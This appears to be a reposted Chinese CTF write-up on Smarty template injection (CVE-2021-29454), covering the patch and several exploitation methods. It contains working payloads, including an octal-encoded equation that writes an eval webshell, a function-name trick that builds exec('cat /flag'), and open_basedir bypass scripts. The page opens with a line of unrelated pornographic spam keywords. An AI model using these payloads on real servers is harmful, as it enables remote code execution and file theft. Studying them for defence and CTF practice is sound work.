日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CVE-2021-29454——Smarty模板注入

發布時間:2025/3/21 编程问答 24 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CVE-2021-29454——Smarty模板注入 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

漏洞報告

Smarty 是 PHP 的模板引擎,有助于將表示 (HTML/CSS) 與應用程序邏輯分離。在 3.1.42 和 4.0.2 版本之前,模板作者可以通過制作惡意數學字符串來運行任意 PHP 代碼。如果數學字符串作為用戶提供的數據傳遞給數學函數,則外部用戶可以通過制作惡意數學字符串來運行任意 PHP 代碼。用戶應升級到版本 3.1.42 或 4.0.2 以接收補丁。

源碼分析

對比官方修復的代碼,在/plugins/function.math.php添加了如下一段

// Remove whitespaces$equation = preg_replace('/\s+/', '', $equation);// Adapted from https://www.php.net/manual/en/function.eval.php#107377$number = '(?:\d+(?:[,.]\d+)?|pi|π)'; // What is a number$functionsOrVars = '((?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*))';$operators = '[+/*^%-]'; // Allowed math operators$regexp = '/^(('.$number.'|'.$functionsOrVars.'|('.$functionsOrVars.'\s*((?1)+)|((?1)+)))(?:'.$operators.'(?2))?)+$/';if (!preg_match($regexp, $equation)) {trigger_error("math: illegal characters", E_USER_WARNING);return;}

對惡意拼接的數學字符串進行過濾(漏洞利用POC格式其實也在這里寫出來了,參考$regexp)

而在較低版本下,缺少過濾部分,進而導致RCE
具體的POC我會在下面利用部分詳寫的

并且,在tests/UnitTests/TemplateSource/ValueTests/Math/MathTest.php中,也有添加

/*** @expectedException PHPUnit_Framework_Error_Warning*/public function testBackticksIllegal(){$expected = "22.00";$tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="`ls` x * y" x=$x y=$y}');$this->assertEquals($expected, $this->smarty->fetch($tpl));}/*** @expectedException PHPUnit_Framework_Error_Warning*/public function testDollarSignsIllegal(){$expected = "22.00";$tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="$" x=$x y=$y}');$this->assertEquals($expected, $this->smarty->fetch($tpl));}/*** @expectedException PHPUnit_Framework_Error_Warning*/public function testBracketsIllegal(){$expected = "I";$tpl = $this->smarty->createTemplate('eval:{$x = "0"}{$y = "1"}{math equation="((y/x).(x))[x]" x=$x y=$y}');$this->assertEquals($expected, $this->smarty->fetch($tpl));}

漏洞利用實例——紅明谷 2022 | Smarty calculator

【相關技術文檔】

考點

  • Smarty3.1.39 模板注入(CVE-2021-29454)
  • Bypass open_basedir
  • Bypass disable_functions

過程詳解

看到Smarty,聯系題目描述就明白這是Smarty模板注入,但是出題人修改了模板規則(真滴茍啊)。

一般情況下輸入{$smarty.version},就可以看到返回的Smarty當前版本號,此題版本是3.1.39。

掃一下網站,發現存在源碼泄露,訪問www.zip即可下載,打開分析。

index.php

<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>Smarty calculator</title> </head> <body background="img/1.jpg"> <div align="center"><h1>Smarty calculator</h1> </div> <div style="width:100%;text-align:center"><form action="" method="POST"><input type="text" style="width:150px;height:30px" name="data" placeholder=" 輸入值進行計算" value=""><br><input type="submit" value="Submit"></form> </div> </body> </html> <?php error_reporting(0); include_once('./Smarty/Smarty.class.php'); $smarty = new Smarty(); $my_security_policy = new Smarty_Security($smarty); $my_security_policy->php_functions = null; $my_security_policy->php_handling = Smarty::PHP_REMOVE; $my_security_policy->php_modifiers = null; $my_security_policy->static_classes = null; $my_security_policy->allow_super_globals = false; $my_security_policy->allow_constants = false; $my_security_policy->allow_php_tag = false; $my_security_policy->streams = null; $my_security_policy->php_modifiers = null; $smarty->enableSecurity($my_security_policy);function waf($data){$pattern = "php|<|flag|?";$vpattern = explode("|", $pattern);foreach ($vpattern as $value) {if (preg_match("/$value/", $data)) {echo("<div style='width:100%;text-align:center'><h5>Calculator don not like U<h5><br>");die();}}return $data; }if(isset($_POST['data'])){if(isset($_COOKIE['login'])) {$data = waf($_POST['data']);echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";$smarty->display("string:" . $data);}else{echo "<script>alert("你還沒有登錄")</script>";} }

在index.php中定義了waf函數,會檢測$data中是否含有php < flag字樣,這個還是蠻好繞的。

還會檢測cookie中login是否存在且值不為零,只要在cookie上添加就好。

剩下的太多了。。。所以我篩選了一下,發現出題人應該只修改過3個文件。

用Beyond Compare對比一下官方模板,發現了出題人重點修改的地方就是正則匹配。

在CVE-2021-29454,有關Smarty的安全問題上,也有提到

  • 阻止$smarty.template_object在沙盒模式下訪問
  • 修復了通過使用非法函數名的代碼注入漏洞{function name=‘blah’}{/function}
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {$compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true); }

那么接下來,請欣賞各種優雅的過正則姿勢

姿勢一

在正則處打下斷點進行測試,

發現可以通過換行繞過正則

設置完cookie后,url編碼一下,POST傳參,poc執行成功

但是不能直接cat /flag,有disable_functions以及open_basedir,繞過open_basedir的方法可太多了,我之前寫了一篇文章你的open_basedir安全嗎? - 先知社區 (aliyun.com)

syslink() php 4/5/7/8

symlink(string $target, string $link): bool

原理是創建一個鏈接文件 aaa 用相對路徑指向 A/B/C/D,再創建一個鏈接文件 abc 指向 aaa/…/…/…/…/etc/passwd,其實就是指向了 A/B/C/D/…/…/…/…/etc/passwd,也就是/etc/passwd。這時候刪除 aaa 文件再創建 aaa 目錄但是 abc 還是指向了 aaa 也就是 A/B/C/D/…/…/…/…/etc/passwd,就進入了路徑/etc/passwd payload 構造的注意點就是:要讀的文件需要往前跨多少路徑,就得創建多少層的子目錄,然后輸入多少個…/來設置目標文件。

<?php highlight_file(__FILE__); mkdir("A");//創建目錄 chdir("A");//切換目錄 mkdir("B"); chdir("B"); mkdir("C"); chdir("C"); mkdir("D"); chdir("D"); chdir(".."); chdir(".."); chdir(".."); chdir(".."); symlink("A/B/C/D","aaa"); symlink("aaa/../../../../etc/passwd","abc"); unlink("aaa"); mkdir("aaa"); ?>

ini_set()

ini_set()用來設置php.ini的值,在函數執行的時候生效,腳本結束后,設置失效。無需打開php.ini文件,就能修改配置。函數用法如下:

ini_set ( string $varname , string $newvalue ) : string

POC

<?php highlight_file(__FILE__); mkdir('Andy'); //創建目錄 chdir('Andy'); //切換目錄 ini_set('open_basedir','..'); //把open_basedir切換到上層目錄 chdir('..'); //切換到根目錄 chdir('..'); chdir('..'); ini_set('open_basedir','/'); //設置open_basedir為根目錄 echo file_get_contents('/etc/passwd'); //讀取/etc/passwd

姿勢二

其實這個正則并不難,我們可以直接利用八進制數,然后借用Smarty的math equation,直接寫入一句話shell,Antsword連接就好。

payload:

eval:{$x="42"}{math equation="("\146\151\154\145\137\160\165\164\137\143\157\156\164\145\156\164\163")("\141\56\160\150\160","\74\77\160\150\160\40\145\166\141\154\50\44\137\122\105\121\125\105\123\124\133\47\120\141\143\153\47\135\51\73\77\76")"}

然后蟻劍連接,在根目錄下得到flag

姿勢三

既然我們能利用函數名了,那么我們也可以用一些數學函數執行命令,我當時用就是這一種(其實是另外兩種沒想到,嘿嘿嘿)

<?php highlight_file(__FILE__); //error_reporting(0); include_once('./Smarty/Smarty.class.php'); $smarty = new Smarty(); $my_security_policy = new Smarty_Security($smarty); $my_security_policy->php_functions = null; $my_security_policy->php_handling = Smarty::PHP_REMOVE; $my_security_policy->php_modifiers = null; $my_security_policy->static_classes = null; $my_security_policy->allow_super_globals = false; $my_security_policy->allow_constants = false; $my_security_policy->allow_php_tag = false; $my_security_policy->streams = null; $my_security_policy->php_modifiers = null; $smarty->enableSecurity($my_security_policy); //$smarty->display("string:" . '{math equation="p;('exp'[0].'exp'[1].'exp'[0].'cos'[0])('cos'[0].'abs'[0].'tan'[0].'floor'[0].'floor'[1].'abs'[0].'log'[2]);" p=1 }'); $smarty->display("string:" . '{math equation="p;('exp'[0].'exp'[1].'exp'[0].'cos'[0])('cos'[0].'abs'[0].'tan'[0].' ./'.'floor'[0].'floor'[1].'abs'[0].'log'[2].'>1');" p="1" }'); //exec('cat /flag')>1 ?>

將執行結果寫入1文件,同樣,因為有disable_functions以及open_basedir,所以執行會不成功嗎,重復姿勢一,就能繞過。

總結

以上是生活随笔為你收集整理的CVE-2021-29454——Smarty模板注入的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。